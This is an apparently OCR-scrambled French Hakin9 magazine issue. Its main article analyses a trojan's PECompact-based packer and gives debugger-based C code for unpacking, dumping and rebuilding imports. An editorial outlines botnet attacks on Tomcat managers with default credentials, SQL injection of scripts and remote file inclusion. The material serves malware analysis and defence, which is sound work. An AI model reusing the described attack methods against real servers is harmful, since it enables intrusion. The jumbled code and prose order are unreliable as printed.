Pour résoudre les imports. 5 – un contrôle d'intégrité est effectué sur le code afin de s'assurer qu'il n'a pas été corrompu. nous avons un exécutable décompressé et parfaitement . juste avant que le loader du packer rende la main au malware. charger les DLLs nécessaires et rechercher les adresses des APIs dont le programme aura besoin. Dumper l'exécutable en mémoire Une fois que le code est décompressé en mémoire. 6 – les imports sont résolus. utiser ImpRec qui va construire une Import Table à partir de l'Import Address Table (la table qui contient les adresses des APIs importées). • • • • Unpacking manuel L'Import Table n'est pas détruite par PECompact. elle est juste compressée Nous allons maintenant un-packer l'exécutable manuellement. Nous ouvrons notre binaire packé avec OllyDBG. 7 – les droits des sections sont ajustés. de nous rendre là où est stockée l'adresse de l'API et de remonter en mémoire jusqu'à ce que l'on ne voit plus d'adresse d'API. Généralement les protector détruisent l'IT et modifient l'IAT de manière à compliqué l'unpacking. Pour trouver cette IAT. le PE header et les Section headers) ainsi que les sections et les coller dans un fichier grâce a LordPE. et les champs FirstChunk supprimés. il suffit de lui fournir l'adresse virtuelle de l'IAT (l'adresse que l'on voit sous OllyDBG – l'Image Base (0x400000 la plupart du temps)) et sa taille.TECHNIQUE • • 4 – la fonction décompressée va charger les APIs qui vont être utilisées par le loader. Schéma simplifié du fonctionnement du packer Figure 3. Une fois que les sections auront été déchiffrées et décompressées. ImpRec est très simple d'utilisation. enregistrerons sur le disque puis nous reconstruirons l'ImportTable. Dumper le processus avec LordPE 74 HAKIN9 1/2009 Nous utiliserons la première technique dans notre un-packer et la deuxième pour un-packer manuellement. c'est à dire que nous allons copier en mémoire les headers (le DOS header. 5 – les sections de l'application sont décompressées puis copiées a leurs emplacements. il nous suffit de repérer un call [API]. nous devons modifier certains champs du PE et reconstruire l'Import Table de notre malware. Schéma simplifié du fonctionnement du packer (voir Figure 2). celui qu'il avait avant d'être packé) et nous dumpons le processus avec LordPE (voir Figure 3). ImpRec ajoutera une section à l'exécutable dans laquelle il stockera l'IT. On peut reprocher a cette méthode de ne pas être très conventionnelle mais elle a le mérite d'être simple. le point d'entré original du malware. nous traçons jusqu'au JMP EAX qui va sauter sur l'OEP (Original Entry Point . nous les Section 1 (OEP) Section 2 (DATA) Section 3 (IAT) Reconstruire l'Import Table Maintenant que nous avons dumpé notre binaire en mémoire. Plugin déchiffieur Décompresse le loader Décompresse les sections Résout les imports • Code du 'pirate' Code de PECompact Mémoire allouée Code décompressé Mémoire de l'executable Figure 2. rapide et efficace (voir Figure 5). Pour cela il y a deux possibilités : • reconstruire les champs FirstThunk qui ont été détruits par le packer. 8 – le loader rend la main au code décompressé. PECompact va parcourir l'Import Table décompressée. ImpRec permet aussi de modifier l'EP (Entry Point) par l'OEP si on lui fournit (voir Figure 4). Après reconstruction. nous allons dumper la mémoire.

Mapper le binaire en mémoire et vérifier qu'il comporte une section . } pPE = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + mapping). MB_ICONINFORMATION).0. Pour identifier le packer. il nous suffit donc Sur Internet • • • • • http://www. HWND hwndDlg.') break.bitsum. 3 – Pour contrôler l'exécution du loader nous utiliserons des HBP (Hardware Break Point). les debug APIs. CloseHandle(hMapp). mapping = (char *)MapViewOfFile(hMapp.microsoft. Maintenant que nous avons compris comment fonctionnait l'intégralité du loader et que nous avons réussi à unpacker manuellement notre binaire.85). PIMAGE_SECTION_HEADER pSection. MB_ICONERROR). if (hFile == INVALID_HANDLE_VALUE) { MessageBoxA(hwndDlg. CloseHandle(hMapp).lycos. hFile = CreateFileA(path.aspx – Description des debug APIs."PE header non valide". PIMAGE_DOS_HEADER pDosHeader. MB_ICONERROR). NULL . CloseHandle(hFile). récupérera les valeurs utiles.mit. CloseHandle(hFile). NULL . nous pouvons commencer a recevoir des events (des messages) grâce à l'API WaitForDebugEvent . if (pDosHeader->e_magic != 'ZM') { MessageBoxA(hwndDlg. NULL . il y a très peu de chance pour qu'il break au mêmes adresses et le programme se lancera. • • La détection du packer Il faut être sûr d'avoir affaire au bon packer ou notre un-packer ne fonctionnera pas et sera susceptible d'exécuter un programme malveillant. MB_ICONERROR). } hMapp = CreateFileMapping(hFile.htm – Description des Debug Registers. nous utiliserons plusieurs signatures. OPEN_EXISTING . Poser un HBP nécessite de modifier les DRs (Debug Registers) du thread principal. PIMAGE_NT_HEADERS pPE. il déboguera l'exécutable. 0x5D pour savoir si notre exécutable est bien packé par le bon packer. return 0. CloseHandle(hMapp). char* mapping.nah n'a pas été trouvé dans les noms des sections". } while (1). CloseHandle(hMapp).828/2005/readings/i386/s12_02. les signatures sont des suites d'octets invariantes typiques du packer. il suffit d'appeler l'API CreateProcess avec l'argument dwCreationFlags égale à DEBUG _ PROCESS (0x1). 0x87.shtml – Site officiel du packer PECompact."La signature .ace – Traduction en français des tutoriaux de Iczelion sur le format PE par Morgatte. return mapping. GENERIC_READ .2 3). 0 .fr/w32assembly/ace/iczelion/_pe-tut.SizeOf OptionalHeader + sizeof(DWORD)). } pDosHeader = (PIMAGE_DOS_HEADER)mapping. NULL . nous 1/2009 HAKIN9 75 . 0 . NULL . return 0.NULL . MB_ICONERROR). en effet.microsoft.0).EBP | POP EBP ce qui se traduit par la suite d'octet 0x55."Dos header non valide".0. Pour déboguer le processus. http://pdos. 0x8B. CloseHandle(hFile). si nous posons des BPs et que nous lançons le processus. aurons toujours la suite d'instruction PUSH EBP | MOV EBP. return 0. sur les modules qu'il charge et enfin ils nous renseignent lorsque le processus rencontre une exception ce qui nous permettra plus tard de poser des BPs (des Break Points ou points d'arrêts). Programmation de l'un-packer Notre un-packer va travailler exactement comme nous l'avons fait. NULL . do { if (pSection->VirtualAddress == 0) { MessageBoxA(hwndDlg.com/whdc/system/platform/firmware/PECOFF. ces events nous donnent des informations sur le processus.com/en-us/library/ms679303(VS. nous allons pouvoir passer à la programmation de notre un-packer. NULL).csail. 0xEC. CloseHandle(hFile)."Echec lors de l'ouverture du fichier". PAGE_READONLY . NULL . } if (*(PDWORD)pSection->Name == 'han.nah LPCTSTR path = "packed. CloseHandle(hMapp).edu/6. http://membres. CloseHandle(hFile). dumpera l'exécutable en mémoire et reconstruira l'IAT.ANALYSE D'UN PACKER DE TROJAN fonctionnel. if (mapping == NULL) { MessageBoxA(hwndDlg. nous utiliserons pour ce faire les APIs GetThreadContext et SetThreadContext (voir Lisitngs 1. http://www. hMapp. 2 – Une fois que le processus a été créé. if (pPE->Signature != 'EP') { MessageBoxA(hwndDlg.exe". pSection = (PIMAGE_SECTION_HEADER)((PCHAR) pSection + sizeof(IMAGE_SECTION_ HEADER)).com/pecompact. return 0. FILE_SHARE_READ. Listing 4.FILE_MAP_READ. NULL). HANDLE hFile. http://msdn. 0xEC.ESP | XCHG ESP.mspx – Documentation officielle du format PE. } pSection = (PIMAGE_SECTION_HEADER)((PCHAR)pPE + sizeof(IMAGE_FILE_HEADER) + pPE->FileHeader. cherchera des signatures. Les Debug APIs • 1 – Pour créer un processus en mode debug. sur ses threads."Echec lors du mapping du fichier". nous utiliserons des APIs que Windows met à notre disposition. ainsi à l'EP du programme. return 0.

pCallEdi = RetnAdd+0x45. récupérer la taille de la future page mémoire.hThread.sizeof(DWORD). MB_ICONINFORMATION).hThread). GetThreadContext(ProcessInfo. } addrImportResolver = SearchSign(PackerSign. de rechercher cette suite d'octets à son EP. NULL .hThread. sizeof(DWORD). addrAlloc = Context. AllocSize. Pour localiser la procédure de reconstruction.Esp+8). nous vérifierons aussi qu'une section . Comme nous l'avons vu. PackerMem. poser un HBP sur l'adresse de retour de l'appel.hProcess. NULL .&Sign.MB_ICONINFORMATION).sizeof(PackerSign) -1. 9 – poser un HBP à cette adresse et attendre que le processus l'atteigne. la page mémoire allouée contient alors le code du loader.MEM_COMMIT | MEM_RESERVE. // on dump le processus Dump = DumpProcess(ProcessInfo.hThread). les champs OriginalFirstChunk sont écrasés par les adresses des APIs). 5 – à partir de l'adresse de retour de VirtualAlloc .(LPCVOID)addrAlloc.hThread). ReadProcessMemory(ProcessInfo. return TRUE. NULL .&Context). if (NumberOfBytesRead != sizeof(DWORD)) { MessageBoxA(hwndDlg. return TRUE.MB_ICONINFORMATION). 6 et 7)."La recherche de la signature du resolveur d'import a echoué".(char*)BaseAddress).ProcessInfo. // là le processus a fini de décompresser le code il nous reste plus qu'à le dumper // de plus l'adresse de l'IT se trouve dans Ecx GetThreadContext(ProcessInfo. 3 – attendre que le programme l'atteigne. } // on va jusqu'au call qui se chargera de décompresser le code // et résoudre les imports Goto(pCallEdi.PackerMem. Goto(addrImportResolver. ReadProcessMemory(ProcessInfo. il nous faut maintenant localiser l'instruction du loader après l'exécution de laquelle le malware est présent sous sa forme déchiffrée en mémoire alors que les imports ne sont pas encore résolus (lorsque les imports sont résolus par le loader.hThread. // une fois qu'on est a ce call. return TRUE. 7 – attendre que le processus l'atteigne. Arriver à l'endroit où le loader a fini de décompresser le code et avant qu'il ne résolve les pointeurs // on break à l'EP Goto((pPE->OptionalHeader."ReadProcessMemory a échouée". pJmpToOEP = RetnAdd+0x69. MB_ICONINFORMATION).Eax. donc à une adresse que l'on ne peut pas déterminer statiquement.ProcessInfo. return TRUE."ReadProcessMemory a échouée".hProcess. récupérer sa valeur de retour (donc l'adresse de la page mémoire allouée).AllocSize.hThread). la mémoire allouée contient le code du loader // on peut donc la scanner a la recherche d'une signature qui nous donnera // l'adresse où le code est décompressé et où les // imports ne sont pas encore résolus PackerMem = (PCHAR)VirtualAlloc(NULL."Signature non conforme".&NumberOfBytesRead).TECHNIQUE Listing 5.(LPCVOID)(pJmpToOEP-2).(LPCVOID)Context. Dumper l'exécutable Nous sommes maintenant sûrs d'avoir affaire au bon packer. NULL . sizeof(DWORD). AllocSize).&NumberOfBytesRead).ProcessInfo. // on break sur le VirtualAlloc hModKern = GetModuleHandleA("Kernel32"). la décompression et la résolution des imports se fait dans une zone mémoire allouée. if (NumberOfBytesRead != sizeof(DWORD)) { MessageBoxA(hwndDlg. retrouver le JMP EAX qui sautera sur l'OEP ainsi que le CALL EDI qui appellera la fonction de décompression et de résolution des imports.Esp. Goto((DWORD)GetProcAddress(hModKern.&Context)."ReadProcessMemory a échouée". // on récupère l'adresse de retour du call VirtualAlloc ainsi que // a taille de la future page GetThreadContext(ProcessInfo. 8 –scanner la page mémoire à la recherche de la signature qui indique l'endroit où le loader a finit de décompresser le code et où il s'apprête à résoudre les imports.hThread). // on vérifie des signatures ReadProcessMemory(ProcessInfo.hProcess.(LPCVOID)(Context. if (NumberOfBytesRead != sizeof(DWORD)) { MessageBoxA(hwndDlg.hProcess."VirtualAlloc"). • • • • • • • 76 HAKIN9 1/2009 . } ReadProcessMemory(ProcessInfo.hProcess.Ecx – BaseAddress.MB_ICONINFORMATION). NULL .&Context). return TRUE.&NumberOfBytesRead). if (NumberOfBytesRead != AllocSize) { MessageBoxA(hwndDlg. } // on récupère la valeur de retour de VirtualAlloc Goto(RetnAdd.nah est présente dans le binaire (cette section est celle qui contient le code du loader et son nom est tout le temps le même). &RetnAdd. } addrImportResolver += addrAlloc-(DWORD)PackerMem-5. } if(Sign != 0xE0FF5D5B ) { MessageBoxA(hwndDlg. if (addrImportResolver == 0) { MessageBoxA(hwndDlg. nous devrons donc analyser dynamiquement le loader via les debug API : • • • 1 –se rendre à l'EP du binaire.&NumberOfBytesRead).&AllocSize. (voir Lisitng 4). MB_ICONINFORMATION). NULL . return TRUE. PAGE_READWRITE)."ReadProcessMemory a échouée". 2 – poser un HBP sur l'API VirtualAlloc . pour plus de précision. addrIT = Context.AddressOfEntryPoint + BaseAddress).ProcessInfo.ProcessInfo. 6 – poser un HBP sur le CALL EDI. 4 –attendre que le processus ai fini l'appel à VirtualAlloc . 10 – dumper l'exécutable en mémoire (voir Lisitng 5.

Membre de la FAT (French Assembler Team).MEM_COMMIT | MEM_RESERVE. d'abord le dos header. nous devons reconstruire l'IT qui a été détériorée lors du packing – les champs FirstThunk ont étés mis à 0 pour optimiser la compression –.k. SectionHeadersSize = sizeof(IMAGE_NT_HEADERS) *PE.AllocSize. else return 1. Context.sizeof(IMAGE_DOS_HEADER). GlobalFlag | LocalFlag.j. Context. else k++. if (NumberOfBytesRead != sizeof(IMAGE_NT_HEADERS)) return 0. ce packer ne protège pas efficacement les malwares contre une détection. pSectionHeaders = (PIMAGE_SECTION_HEADER)malloc (SectionHeadersSize).Dr7 |= DR7flag(OneByteLength.DWORD MemSize) { DWORD i. il fréquente plusieurs forums dédiés au Reverse et est actuellement en stage chez Sysdream. SectionHeadersSize.SizeOfOptionalHeader + sizeof(DWORD).&NumberOfBytesRead). DWORD SectionHeadersSize. Exécuter le code jusqu'à une adresse int Goto(DWORD addr.Dr7 = 0. nous obtenons alors la taille du binaire en mémoire en additionnant les champs VirtualAddress et VirtualSize du dernier section header.VirtualSize. nous pouvons dumper l'intégralité du binaire en mémoire (voir Lisitng 8).0).BreakOnExec. Baboon Baboon pratique le Reverse Engineering depuis maintenant trois ans. il n'y a pas de redirection d'API. puis le PE header et enfin les section headers. for (j=0. if (k==SignSize) return (DWORD)(Mem+i). même par signature. Context. PIMAGE_SECTION_HEADER pSectionHeaders. ReadProcessMemory(hProcess. pas de destruction de l'IT. RetnValue = WaitForSingleStepExc().FileHeader.Dr0 = 0. Une fois que nous avons cette taille.j<SignSize. return 0.&NumberOfBytesRead). Context.} Listing 8. notre dump doit être modifié. GetThreadContext(hThread. Quoiqu'il en soit.} return 0. IMAGE_DOS_HEADER DosHeader.Dr0 = addr.com 1/2009 HAKIN9 77 . char* Dump.j++) if (Mem[i+j] != Sign[j]) break.sizeof(IMAGE_NT_ HEADERS). i++) { k = 0. AllocSize = (pSectionHeaders+i)->VirtualAddress + (pSectionHeaders+i) ->Misc.&DosHeader. PAGE_READWRITE).BaseAddress. } while ((pSectionHeaders+i+1)->VirtualAddress != 0) i ++. &NumberOfBytesRead).} Fixer le dump Pour être totalement fonctionnel.e_lfanew + sizeof(IMAGE_FILE_ HEADER) + PE. Il ne nous reste plus qu'à recopier le dump dans un fichier pour avoir notre exécutable unpacké. return Dump. SetThreadContext(hThread.BaseAddress + DosHeader.char* BaseAddress) { DWORD AllocSize = 0. Dump = (char *)VirtualAlloc(NULL.&Context).&PE. for (i=0.} Conclusion Le packer que nous avons étudié n'est pas très complexe.ANALYSE D'UN PACKER DE TROJAN Pour dumper le programme en mémoire nous allons commencer par dumper ses headers.pSectionHeaders.HANDLE hThread) { CONTEXT Context. if (! RetnValue) return 0. free(pSectionHeaders). if (NumberOfBytesRead != SectionHeadersSize) { free(pSectionHeaders). il faut aussi réaligner les sections dans le fichier – les tailles des sections et des headers stockées sur le disque dur doivent être un multiple du champ FileAlignment du PE Header – nous devons remplacer les champs RawAddress et RawSize dans les section headers par leurs nouvelles valeurs (forcément plus grandes étant donné que le binaire était compressé) enfin il faut remplacer la valeur de l'entry point par celle de l'original entry point et remplacer l'adresse de l'Import Table par celle obtenue lors de l'un-packing (voir Lisitng 9). Rechercher une signature DWORD SearchSign(char *Sign. Listing 7. ReadProcessMemory(hProcess. ReadProcessMemory(hProcess.FileHeader. Context. GetThreadContext(hThread.e_lfanew. SetThreadContext(hThread.char*Mem .Dump.&Context). Listing 6.BaseAddress + DosHeader.i<= MemSize. pas de fonctions redirigées.DWORD SignSize. ReadProcessMemory(hProcess. if (NumberOfBytesRead != AllocSize) return 0. Pour le contacter : baboon@sysdream.&NumberOfBytesRead). int RetnValue.NumberOfBytesRead. Dumper le binaire en mémoire PCHAR DumpProcess(HANDLE hProcess.&Context). IMAGE_NT_HEADERS PE. if (NumberOfBytesRead != sizeof(IMAGE_DOS_HEADER)) return 0.&Context).NumberOfSections.ContextFlags = CONTEXT_ALL.AllocSize. le packer n'étant pas polymorphique il est facile d'extraire une signature du module développé par le pirate et donc de détecter tout les malwares qui l'utiliseront. pas d'anti-debugger néanmoins il permet de se familiariser avec les structures des headers Windows et il suffira d'ajouter des fonctions à notre un-packer pour les packers plus complexes.BaseAddress. DWORD i=0.

hakin9. Avec notre abonnement à 35 EUR : • Vous économisez 22% • Vous recevez régulièrement les magazines à votre domicile ! • Vous obtenez un des nombreux cadeaux ! Choisissez votre propre mode d’abonnement : • par fax au numéro : (+ 48) 22 244 24 59 • par courrier : Software-Wydawnictwo Sp. 02-682 Varsovie.html . Bokserska 1. Pologne • par courrier électronique : abonnement@software. Vous trouverez dans nos pages des articles pratiques sur les méthode offensives et défensives.o.pl • par notre site internet : http://www. z o. et de vidéos pratiques. Vous profiterez de programmes.com.org/prt/view/abonnez-vous.ÉCONOMISEZ 22% Hakin9 Comment se défendre est le plus grand Bimestriel en Europe traitant de la sécurité informatique. de tutoriels.

........ Pologne Tél......... Bokserska 1......... En cadeau je souhaite recevoir .....................................................................................................com........................ Code postal .............................................................................................................................................................................. Entreprise ................... Fax ....................... 02-682 Varsovie Pologne ¨ Virement bancaire : Nom banque : Société Générale Chasse/Rhône banque guichet numéro de compte clé Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP .......................... E-mail (indispensable pour envoyer la facture) ..............................................pl Yahoo Messenger : software_abonnement Prénom/Nom .................... .......................................................................................................................................................................................................................................................................... (+33) 170 610 717 E-mail : abonnement@software................o.....................................................BULLETIN D’ABONNEMENT comment se dèfendre Merci de remplir ce bon de commande et de nous le retourner par fax : (+48) 22 244 24 59 ou par courrier : Software-Wydawnictwo Sp......................... Ville ......................... Téléphone .... Adresse .............................. 02-682 Varsovie.............................................................................................................................................................................o..................... PRIX D’ABONNEMENT À HAKIN9 COMMENT SE DÉFENDRE : 35 € Je règle par : ¨ Carte bancaire n° CB ¨¨¨¨ ¨¨¨¨ ¨¨¨¨ ¨¨¨¨ code CVC/CVV ¨¨¨¨ expire le _______________ date et signature obligatoires Abonnez-vous et recevez un cadeau ! type de carte (MasterCard/Visa/Diners Club/Polcard/ICB) ¨ Chèque À la ordre de : Software-Wydawnictwo Sp z o................... ............... ......................... z o.................................... ............ Je souhaite recevoir l'abonnement à partir du numéro ...................................................... Bokserska 1.....

hsc. Une chance pour les Unixiens.. ces malwares (ou mal-wars) installent une archive web (fichier . Ces modifications sont tout simplement effectuées par modification des colonnes contenant des chaînes de caractères de tailles suffisantes dans la base. les versions étudiées lors de la rédaction de cet éditorial ne touchent que les serveurs Windows. il est de plus en plus difficile de s'attaquer directement aux machines.fr. la sécurité des infrastructures étant maintenant correctement réalisée. Une méthode commence à prendre un essor de plus en plus important : la compromission via un serveur web (attaque du client de l'application web) ou la compromission d'un serveur web directement. des modèles d'URL du type /index. présents dans l'archive war. probablement car la Références : [1] – http://marc.war) permettant de prendre le contrôle de la machine hébergeant le serveur d'application. Ces robots cherchent. Une fois la vulnérabilité découverte. Une première génération de ces intrus automatiques est basée sur l'exploitation de vulnérabilités triviales. mais non ciblées. A vec l'ajout de couches de sécurité au niveau des serveurs de messagerie.getRuntime(). En effet. soit téléchargés sur des serveurs compromis. études et tests d'intrusion.fr).exec(<malw are>) Ces logiciels malveillants sont soit ). La rentrée 2008 a mis en avant des attaques visant les interfaces d'administration (manager) des serveurs Tomcat[1]. Il réalise des audits.Nyffenegger@h sc.ÉDITORIAL Web & Botnets Un constat s’impose depuis quelques années dans le domaine de la sécurité des postes clients : la surface d’exposition de ces systèmes a sensiblement diminué ce qui a modifié les méthodes d’attaques. soit récupérés à partir d'un en-tête dans la requête HTTP réalisée par le client. Ces robots de compromissions massives mettent en avant une généralisation des attaques au niveau du web.asp?id= en espérant qu'un mauvais filtrage permettra l'exploitation d'une injection SQL du type /index.. Ces charges malveillantes sont pour la plupart composées d'une première fonction permettant de modifier le mot de passe de l'interface d'administration (fichier conf/tomcat-users. Utilisant un couple d'identifiants par défaut (admin/ ). Le robot crée une procédure qui va chercher toutes ces colonnes et les modifier en faisant un UPDATE sur l'ensemble des données pour y ajouter du code Javascript ou des 80 HAKIN9 1/2009 balises HTML. via des moteurs de recherche. . Puis elles installent et lancent des malwares sur le système (grâce à Runtime.http://www. Une autre technique utilisée est l'exploitation de remote file inclusion pour exécuter du code PHP sur le serveur cible afin soit de compromettre le serveur ou tout simplement d'ajouter du contenu. Ce sont donc des proies faciles. À propos de l'auteur Louis Nyffenegger est consultant en sécurité suisse travaillant chez HSC (Hervé Schauer Consultants . pour le moment.xml) avec une chaîne aléatoire. et sont souvent d'un niveau de sécurité faible. sur des applications spécifiques. Ce sont donc les applications web qui sont devenues la cible des attaques car elle restent très exposées. l'envoi d'e-mails contenant un binaire est une méthode de plus en plus hasardeuse et de moins en moins efficace de compromettre massivement des machines et ainsi construire un botnet. Ce nouveau contenu permet de très simplement attaquer les clients de l'application web. Louis remercie toute l'équipe HSC pour son aide et les relectures.info/?l=tomcat-dev&m= 122312090005568 plupart des serveurs tomcat sous Windows tournent en tant que NT AUTHORITY\System alors que les Unixiens ont depuis longtemps appris à utiliser des comptes dédiés à faibles privilèges. Louis peut être contacté à l'adresse suivante : Louis. ces robots modifient les données contenues dans la base de données afin de rajouter des codes malveillants ou des liens vers des sites malveillants.asp?id=3<injection SQL>.

.

: Paweł Marciniak Directrice de la publication : Dominika Baran Rédactrice en chef : Dominika Baran dominika.hakin9. POUR LA SÉCURITÉ. les différentes méthodes de virtualisation ainsi que la manière de les mettre en æuvre. VOUS SOUHAITEZ COLLABOR ER À L'ÉLABORATION D'ARTICLES N'HÉSITEZ-PAS À NOUS CONTACTER : FR@HAKIN9. de la clé USB au serveur. Frédéric Jean Bassaber. z o. APPLICATIONS COMMERCIALES EN VERSION COMPLÈTE. Grégory Carlet. z o. Les nouvelles failles.o. DES TUTORIELS. .org/fr. La rédaction du magazine n’est pas responsable de l’utilisation incorrecte des techniques présentées. Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp.hakin9. L’utilisation des techniques présentées peut provoquer la perte des données ! 82 HAKIN9 5/2008 La rédaction se réserve le droit de modifier le contenu de la revue . les moyens de protections liés DES POSTES DE TRAVAIL a ces périphériques. 02-682 Varsovie. Fax. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM.38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software-Wydawnictwo.pl Dépôt légal : à parution ISSN : 1731-7037 Distribution : MLP Parc d’activités de Chesnes.pl Couverture : Agnieszka Marchocka Couverture CD : Łukasz Pabian Publicité : publicite@software.ORG Nous vous présenterons la suite du dossier sur la certification/norme ISO 27001 décrite dans le numéro courant. Rudy Kommer. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs. Dans cette rubrique c’est Vincent le Toux qui vous présente les risques liés aux données.pl Abonnement : abonnement@software.com.LIVE AVEC LA DISTRIBUTION BACKTRACK3. L’actualité du monde de la sécurité informatique et des systèmes d’information. photogravure : 101 Studio. Vincent le Toux Correction : Clémenet Quinton Les personnes intéressées par la coopération sont invitées à nous contacter : fr@hakin9. SUR LE CD COMME TOUJOURS DANS CHAQUE NUMÉRO NOUS VOUS PROPOSONS HAKIN9. JF Albertini.winiarz@software.org Préparation du CD : Rafal Kwaśny Imprimerie. Bokserska 1. Le bimensuel hakin9 est publié par Software-Wydawnictwo Sp. Anthony Foignant. ET DES PROGRAMMES EN EXCLUSIVITÉ.gdstudio. les risques de pertes.baran@hakin9.pl http://www. Président de Software-Wydawnictwo Sp.org Abonnement (France métropolitaine. ÉDITORIAL Un regard précis et pertinent sur la sécurité informatique. 93-426 Łódź Imprimé en Pologne Adresse de correspondance : Software-Wydawnictwo Sp.pl Diffusion : Katarzyna Winiarz katarzyna.com. tous les droits réservés Béta-testeurs : Didier Sicchia. Clément Facciolo. les intrusions web et les nouvelles applications. +48 22 427 32 87.kurpiewska@software. z o. Pologne Tél. mais aussi APPROCHE DE LA VIRTUALISATION de vol de données. +48 22 244 24 59 www.com.o. Ignace Kangni Kueviakoé. Ce numéro sera disponible en Mars La rédaction se réserve le droit de modifier le contenu de la revue. DES VIDÉOS PRATIQUES AFIN DE MIEUX COMPRENDRE LES MÉTHODES OFFENSIVES. En BREF DossIer complet présentant les dangers et les méthodes de défense.ENle MARS Dans prochain numéro DOSSIER FOCUS ISO 27001 ANTIVIRUS EN ENTREPRISE Toute l'actualité du prochain numéro sur le site www. z o.com. Firma Tgi Ekonomiczna 30/36.o. 55 bd de la Noirée BP 59 F .pl DTP : Marcin Ziółkowski Graphics & Design Studio e-mail : marcin@gdstudio. La rédaction utilise le système PAO AVERTISSEMENT Les techniques présentées dans les articles ne peuvent être utilisées qu’au sein des réseaux internes. LA PROTECTION ET LA STABILITÉ DE VOTRE SYSTÈME. elle décline toute responsabilité pour leur utilisation. DOM/ TOM) : 1 an (soit 6 numéros) 35 € La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour. Yves Goux.org Fabrication : Marta Kurpiewska marta.o. Cet article expliquera les principes de la DATA RECOVERY virtualisatiion.

������������������������������������������������������� ��������������������������������������������������������������� �������������������������������� ������������������������������������������������������������� ���������������������������� ������������������������������������������� ������������ ���� � � �� � �� � � � � �� � � � � �� � �� � � � �� � � �� � � �� � � �� �� �� �� �� � � � � � � � � � �� � � � � ������������ �� � � � �� � � � � �� � � � �� � �� �� � � �� � �� � �� � � � � �� � � � � �� � �� ��� �� � � � � � � � � � � � � � � .

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->